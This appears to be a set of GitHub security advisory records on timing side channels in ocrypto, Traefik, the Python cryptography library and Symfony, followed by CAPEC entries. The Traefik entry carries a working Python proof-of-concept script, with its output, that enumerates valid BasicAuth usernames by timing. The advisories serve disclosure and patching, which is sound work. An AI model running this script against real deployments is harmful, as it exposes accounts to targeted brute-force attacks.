Vulnerability from github – Published: 2025-08-29 12:31 – Updated: 2025-08-29 12:31Padding oracle attack vulnerability in Oberon microsystem AG’s ocrypto library in all versions since 3.1.0 and prior to 3.9.2 allows an attacker to recover plaintexts via timing measurements of AES-CBC PKCS#7 decrypt operations.
{
"affected": [],
"aliases": [
"CVE-2025-7071"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T10:15:32Z",
"severity": "MODERATE"
},
"details": "Padding oracle attack vulnerability in Oberon microsystem AG\u2019s ocrypto library in all versions since 3.1.0 and prior to 3.9.2 allows an attacker to recover plaintexts via timing measurements of AES-CBC PKCS#7 decrypt operations.",
"id": "GHSA-fw6m-5fq2-8fqr",
"modified": "2025-08-29T12:31:11Z",
"published": "2025-08-29T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7071"
},
{
"type": "WEB",
"url": "https://www.oberon.ch/security-advisories/cve-2025-7071"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G3HG-J4JV-CWFR
Vulnerability from github – Published: 2026-03-20 15:43 – Updated: 2026-03-20 15:43Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration. ### Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames. Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution. Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times. ### PoC Environment: - Traefik v3.6.9 - k3s v1.34.5 Configuration:apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
name: basicauth
namespace: traefik-poc
spec:
basicAuth:
secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-basicauth
annotations:
traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
ingressClassName: traefik
rules:
- http:
paths:
- path: /protected
pathType: Prefix
backend:
service:
name: whoami
port:
number: 80
PoC Script:
#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
times = []
for _ in range(SAMPLES):
start = time.perf_counter()
requests.get(TARGET, auth=(username, password), timeout=5)
elapsed = time.perf_counter() - start
times.append(elapsed)
return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
median = measure_time(user)
if median > 0.05: # bcrypt threshold
status = "[+] EXISTS (slow - bcrypt verification)"
else:
status = "[-] NOT FOUND (fast - immediate return)"
print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results:
Target: http://10.10.10.7:30080/protected
Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s
[-] NOT FOUND (fast - immediate return): root | median=0.0006s
[-] NOT FOUND (fast - immediate return): test | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
### Impact
- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)
- **Impact:**
- Attackers can enumerate valid usernames without authentication
- Enables targeted password brute-force attacks against confirmed accounts
- Exposes information about system user structure
- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:
- BasicAuth middleware enabled
- Attacker able to make requests to protected endpoints
- Network access to measure response times
- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times
- **Privileges Required:** None
- **User Interaction:** None
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.40"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.10"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-ea.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32595"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T15:43:13Z",
"nvd_published_at": "2026-03-20T11:18:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA timing attack vulnerability exists in Traefik\u0027s BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn\u0027t exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt\u0027s design\n- User doesn\u0027t exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median \u003e 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik\u0027s BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-g3hg-j4jv-cwfr",
"modified": "2026-03-20T15:43:14Z",
"published": "2026-03-20T15:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32595"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.41"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration"
}
GHSA-G6CJ-PR64-35W5
Vulnerability from github – Published: 2026-08-03 21:17 – Updated: 2026-08-03 21:17Summary
pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.
Introduced in 44.0.0. Fixed in 50.0.0.
Details
Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:
- invalid RSA padding →
Decryption failed - valid padding, bad key length →
Invalid key size (N) for AES., disclosingN - correct length, wrong key →
Invalid padding bytes. - the real key → plaintext
Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts.
Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.
Fix
Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work.
Not addressed by this fix
EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.
Credit
Reported by @X1AOxiang.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "44.0.0"
},
{
"fixed": "50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69247"
],
"database_specific": {
"cwe_ids": [
"CWE-208",
"CWE-209"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:17:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`\u0027s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by @X1AOxiang.",
"id": "GHSA-g6cj-pr64-35w5",
"modified": "2026-08-03T21:17:00Z",
"published": "2026-08-03T21:17:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/15369"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing"
}
GHSA-G97C-JFX6-XVXH
Vulnerability from github – Published: 2022-05-17 03:25 – Updated: 2023-08-03 21:48Symfony 2.3.x before 2.3.35, 2.6.x before 2.6.12, and 2.7.x before 2.7.7 might allow remote attackers to have unspecified impact via a timing attack involving the (1) Symfony/Component/Security/Http/RememberMe/PersistentTokenBasedRememberMeServices or (2) Symfony/Component/Security/Http/Firewall/DigestAuthenticationListener class in the Symfony Security Component, or (3) legacy CSRF implementation from the Symfony/Component/Form/Extension/Csrf/CsrfProvider/DefaultCsrfProvider class in the Symfony Form component.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/form"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security-http"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security-http"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/security"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.6.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8125"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-03T21:48:26Z",
"nvd_published_at": "2015-12-07T20:59:00Z",
"severity": "HIGH"
},
"details": "Symfony 2.3.x before 2.3.35, 2.6.x before 2.6.12, and 2.7.x before 2.7.7 might allow remote attackers to have unspecified impact via a timing attack involving the (1) `Symfony/Component/Security/Http/RememberMe/PersistentTokenBasedRememberMeServices` or (2) `Symfony/Component/Security/Http/Firewall/DigestAuthenticationListener` class in the Symfony Security Component, or (3) legacy CSRF implementation from the `Symfony/Component/Form/Extension/Csrf/CsrfProvider/DefaultCsrfProvider` class in the Symfony Form component.",
"id": "GHSA-g97c-jfx6-xvxh",
"modified": "2023-08-03T21:48:26Z",
"published": "2022-05-17T03:25:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8125"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/pull/16630"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/form/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2015-8125.yaml"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/cve-2015-8125-potential-remote-timing-attack-vulnerability-in-security-remember-me-service"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2015-8125"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200228050051/http://www.securityfocus.com/bid/77692"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-December/173271.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2015-December/173300.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3402"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/77692"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Symfony Vulnerable to Timing Attack"
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.